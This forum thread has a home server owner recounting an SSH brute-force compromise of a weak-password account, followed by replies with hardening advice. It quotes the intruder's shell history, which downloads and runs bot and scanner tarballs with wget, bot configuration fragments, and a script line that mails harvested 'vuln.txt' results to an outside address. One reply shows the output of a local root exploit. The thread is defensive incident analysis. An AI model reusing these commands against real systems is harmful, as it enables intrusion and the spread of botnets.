whoops hacked

Associate
Joined
13 Nov 2005
Posts
694
Location
Havant
A little story... I had an old p3 running centos 3 for years with a static ip address doing mail, web, dns etc. A year or so back I virtualized it onto a bigger server at home to cut down on noise & electricity. It just sits there & works.
Well I the internet was running very slow the other night & I put it down to zen. However the next day when I logged on to do something & I noticed the cpu running at 99% :eek: This is my dns server & squid proxy, hence the internet running slow.
top showed me a proccess called pscan2 was taking up all the cpu running under user chris. Last showed a user chris had logged in on a few occasions over the previous few days.

chris pts/0 89.44.96.91 Wed Feb 20 21:25 - 21:25 (00:00)
mark pts/1 192.168.0.26 Wed Feb 20 18:37 - 19:15 (00:37)
mark pts/0 195.157.228.9 Wed Feb 20 09:11 - 19:27 (10:15)
chris pts/0 89.44.96.91 Wed Feb 20 00:41 - 00:41 (00:00)
mark pts/0 192.168.0.26 Tue Feb 19 21:10 - 23:22 (02:12)
mark pts/0 192.168.0.2 Tue Feb 19 20:06 - 20:36 (00:29)
chris pts/1 89.44.96.91 Tue Feb 19 16:05 - 16:05 (00:00)
chris pts/2 Tue Feb 19 11:27 - 11:28 (00:00)
chris pts/1 89.44.96.91 Tue Feb 19 11:20 - 11:28 (00:07)
mark pts/0 195.157.228.9 Tue Feb 19 09:16 - 17:54 (08:37)
chris pts/0 137.110.134.95 Tue Feb 19 01:51 - 04:41 (02:49)

Now chris is an account I set up for a friend so he could use the machine as a web proxy but he hasn't used it for months now...
bash_history gave me the following
w
ps -x
passwd
ls
uname -a
wget www.geocities.com/chiransorin/ssh.tgz
cat /proc/cpuinfo
tar xzvf ssh.tgz
cd ssh
./a 152.2
cd
ls
wget www.geocities.com/chiransorin/bot.tgz
tar xzvf bot.tgz
cd bot
ls
pico inst
nano inst
chmod +x *
./start shellro
cd
ls
cd ssh
chmod +x *
./screeb
screen
cd ssh
ps -x
ls
cat vuln.txt
cd ssh
ps -x
ls
cat vuln.txt
cd ssh
ps -x
ls
cat vuln.txt
./start 84

It seems they had downloaded 2 scripts called bot & ssh to bruteforce other linux machine & an irc bot program. Some bits from within the bot directory:-
nick Hupp
login Hammerness
virtual 82.69.154.50
ircname Daly
modes +ix-ws
cmdchar .
userfile 82.69.154.50.user2

set BANMODES 6
set OPMODES 6
tog SPY 1
channel #shellro
tog PROT 1
nick Luoma
login Goncalves
virtual 82.69.154.50
ircname Memisoglu
modes +ix-ws
cmdchar .
userfile 82.69.154.50.user

set BANMODES 6
set OPMODES 6
tog SPY 1
channel #shellro
tog PROT 1


server 69.16.172.40 6667
server 69.16.172.34 6667

echo "handle x " >> $2.user
echo "mask *!*@SirSorian.users.undernet.org " >> $2.user
echo "prot 4" >> $2.user
echo "channel * " >> $2.user
echo "access 100 " >> $2.user

bits from within the ssh directory:-
clear
echo "********************************************************************"
echo "* -===================== #Hack-Ro & Sorian Present :=============- *"
echo "* -== Lastest version of brute force password checker ==- *"
echo "* -= REMEMBER * This is NOT a FREE SCANNER * Behave =- *"
echo "* -== Kill the WABBIT !!! ==- *"
echo "*****************Greets to all #Hack-Ro members*********************"


cat vuln.txt |mail -s "vuln.txt" [email protected]
killall -9 a
else
echo #-==== Sorian & #Hack-Ro ====-#
killall -9 a
killall -9 pscan2
fi

A netstat showed lots of open ssh connections to other machine. I just shut the machine down. Now as its virtual I take backups of my virtual machine drive every weekend, so just restore from backup & restart the machine, not forgetting to remove the chris account :D and we are good to go again!

So perhaps the moral is.. dont let others use your server as they may have a rubbish password & take regular backups. :)
 
Hmm one thing you should be sure of is that your machine has not been compromised on the backups you restore. If you have backed up trojan'd binaries and restore them you are back to square one...

Looking at those logs they seem pretty noob not cleaning their logs/doing any process hiding.. Your probably ok now. I would run 'chkrootkit' on your restored image just as a check.
 
Very interesting! Out of interest how did they break the ssh password for the chris account? Was it just a case of being brute forced, how did they know the username or was it fully rooted?

Might be worth looking into securing SSH a little more, i.e limit number of login attempts, lock down to specifc users/IPs etc.
 
I have check the restored image, all is fine.
I have also spoke to chris, he said the password was changeme or something similar, my fault really, I should have checked. And yes, the password changeme is in the password generated file that is still sitting on the box.
root logins are disabled on the box so im pretty sure this was only being run as a normal user, I'm pretty sure the box was not rooted but restored to be on the safe side. I used to have a program that allowed 5 incorrect password before blocking the ip address for a day, I will have to put that back on I think. :)
 
root logins are disabled on the box so im pretty sure this was only being run as a normal user, I'm pretty sure the box was not rooted but restored to be on the safe side. I used to have a program that allowed 5 incorrect password before blocking the ip address for a day, I will have to put that back on I think. :)

Its pretty trivial to get root once you got a local account if you haven't patched recently..
Nasty kernel vulnerability in the wild at the moment.

Code:
alex@nop:~/Code/C$ alex
alex@nop:~/Code/C$ gcc local_rootsploit.c -o local_rootsploit
alex@nop:~/Code/C$ ./local_rootsploit 
---- Local root exploit ------- 
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d97000 .. 0xb7dc9000
root@nop:~/Code/C# whoami
root

On one of my systems I just upgraded today (was on 2.6.24 kernel). Its worth having a good look over your system.
 
Weak password for chris was probably at fault - something from typical word library in one of the hammer the ssh type of scripts - chrischris backwards or just simple regular word. First advice I would suggest is never make easy account names - no johns, no jacks, no chris's. Simply chaning chris to chris_[first letter of his surname] automatically would make it never match any dictionary username based attack script. Second, obviously, users that don't need ssh access, don't need local access. If your mates are just proxy users then change their shell in /etc/passwd to /sbin/nologin. Make sure they don't run any services or processes while you're at it. Finally password - 8 letters including couple numbers and capital letters equals to roughly one year worth of cracking, even if they find out the name first.

Funnily enough, with old redhats it's usually ftp that leads to trouble, you can often login as anonymous user and go all the way to /etc and read passwd and shadow and then you have something to brute force with...

And finally, there is no reason not to run that yum update / yum upgrade thingy every once in a while... :D
 
Last edited:
Seems like trivial script kiddie/bot stuff, but interesting none-the-less :)
What are you running it all on? And what are you vitualising it with etc...? Sounds like a nice little setup you have going there :)
 
Seems like trivial script kiddie/bot stuff, but interesting none-the-less :)
What are you running it all on? And what are you vitualising it with etc...? Sounds like a nice little setup you have going there :)

I used to have a few dell poweredges running windows 2003, old laptops running isa & citrix & pc's running linux in the dmz. I have 6 static ip's with zen with a cisco 837 as the main router then a pix501 separating the dmz from the lan.
A year ago I scrapped the lot & virtualized them with vmware server onto a q6600 with 8gb of ram running 2003 64 bit server, which is also a terminal server but only for 2 of us! Totally silent in operation + the electricity bill over the next quarter halved :)
I think I will rebuild the virtual centos server with the latest vesion, centos 5. I havent played with linux for a while now as I work with solaris on a daily basis. Just need to transfer over my config for sendmail, squid, bind, ftp, apache & a whole list of other things it does that I have since forgotten about.
 
The only 100% hack proof machine is one that is switched off!

Although for a typical home user like 99%+ of us, surely just not allowing it to communicate with anything is enough. There isn't yet a way for a machine to be compromised through the IEC lead is there? :eek:

(Presupposing of course that nobody breaks into the house for a 'physical hack'. ;))
 
Although for a typical home user like 99%+ of us, surely just not allowing it to communicate with anything is enough. There isn't yet a way for a machine to be compromised through the IEC lead is there? :eek:

(Presupposing of course that nobody breaks into the house for a 'physical hack'. ;))

Which is of course the most effective type, I worry about our servers in datacenters a little in this regard. Datacenter security is still pretty rubbish in most places and a lot of machines are very easy to compromise with physical access.
 
Although for a typical home user like 99%+ of us, surely just not allowing it to communicate with anything is enough. There isn't yet a way for a machine to be compromised through the IEC lead is there? :eek:

(Presupposing of course that nobody breaks into the house for a 'physical hack'. ;))

If your on a managed (networked) power switch/UPS you could denial of service the machine.

Which is of course the most effective type, I worry about our servers in datacenters a little in this regard. Datacenter security is still pretty rubbish in most places and a lot of machines are very easy to compromise with physical access.

Indeed, data center physical security seems pretty crap to be honest on shared hosting suites. You don't use shared hosting suites if your bothered about physical security. Last time I was at telehouse I could have had access to a big ISPs servers which were in the unlocked rack opposite, haha.
 
Last edited:
Back
Top Bottom